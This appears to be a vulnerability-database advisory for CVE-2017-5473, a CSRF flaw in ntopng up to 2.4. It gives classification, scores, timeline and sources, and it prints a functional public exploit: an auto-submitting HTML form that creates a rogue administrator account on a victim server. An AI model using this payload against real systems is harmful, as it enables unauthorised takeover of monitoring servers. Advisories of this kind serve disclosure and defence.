ntopng up to 2.4 admin/add_user.lua cross-site request forgery

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Summaryinfo

A vulnerability has been found in ntopng up to 2.4 and classified as problematic. The affected element is an unknown function of the file admin/add_user.lua. Performing a manipulation results in cross-site request forgery. This vulnerability was named CVE-2017-5473. The attack may be initiated remotely. In addition, an exploit is available.

Detailsinfo

A vulnerability was found in ntopng up to 2.4. It has been classified as problematic. This affects an unknown part of the file admin/add_user.lua. The manipulation with an unknown input leads to a cross-site request forgery vulnerability. CWE is classifying the issue as CWE-352. The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request. This is going to have an impact on integrity. The summary by CVE is:

Cross-site request forgery (CSRF) vulnerability in ntopng through 2.4 allows remote attackers to hijack the authentication of arbitrary users, as demonstrated by admin/add_user.lua, admin/change_user_prefs.lua, admin/delete_user.lua, and admin/password_reset.lua.

The bug was discovered 01/14/2017. The weakness was presented 01/14/2017 by hyp3rlinx as EDB-ID 41141 as not defined exploit (Exploit-DB). It is possible to read the advisory at exploit-db.com. This vulnerability is uniquely identified as CVE-2017-5473 since 01/13/2017. It is possible to initiate the attack remotely. No form of authentication is needed for exploitation. It demands that the victim is doing some kind of user interaction. Technical details and a public exploit are known.

A public exploit has been developed by hyp3rlinx in HTML and been published 2 weeks after the advisory. The exploit is shared for download at exploit-db.com. It is declared as functional. The code used by the exploit is:

<form action="
http://VICTIM-SERVER:3000/lua/admin/add_user.lua?csrf=NOT-EVEN-CHECKED"
method="GET">
<input type="hidden" name="username"  value="hyp3rlinx">
<input type="hidden" name="full_name"  value="TheApparitioN">
<input type="hidden" name="password"  value="abc123">
<input type="hidden" name="confirm_password"  value="abc123">
<input type="hidden" name="host_role"  value="administrator">
<input type="hidden" name="allowed_networks"  value="0.0.0.0/,::/">
<input type="hidden" name="allowed_interface"  value="HTTP/1.1">
<script>document.forms[0].submit()</script>
</form>

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

The vulnerability is also documented in the databases at Exploit-DB (41141) and SecurityFocus (BID 95654†). Further details are available at seclists.org. Be aware that VulDB is the high quality source for vulnerability data.

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VulDB Meta Base Score: 6.6
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Exploitinginfo

Class: Cross-site request forgery
CWE: CWE-352 / CWE-862 / CWE-863
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Physical: No
Local: No
Remote: Yes

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Access: Public
Status: Functional
Author: hyp3rlinx
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Countermeasuresinfo

Recommended: no mitigation known
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Patch: github.com

Timelineinfo

01/13/2017 🔍
01/14/2017 +1 days 🔍
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01/15/2017 +1 days 🔍
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Sourcesinfo

Advisory: EDB-ID 41141
Researcher: hyp3rlinx
Status: Confirmed
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CVE: CVE-2017-5473 (🔍)
GCVE (CVE): GCVE-0-2017-5473
GCVE (VulDB): GCVE-100-95343
SecurityFocus: 95654 - ntopng CVE-2017-5473 Multiple Cross Site Request Forgery Vulnerabilities
OSVDB: - CVE-2017-5473 - ntopng - Cross-Site Request Forgery Issue

scip Labs: https://www.scip.ch/en/?labs.20161013
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Entryinfo

Created: 01/15/2017 10:39
Updated: 05/13/2026 10:46
Changes: 01/15/2017 10:39 (75), 10/28/2022 19:36 (3), 06/20/2024 00:30 (15), 05/13/2026 10:46 (7)
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Cache ID: 216::103

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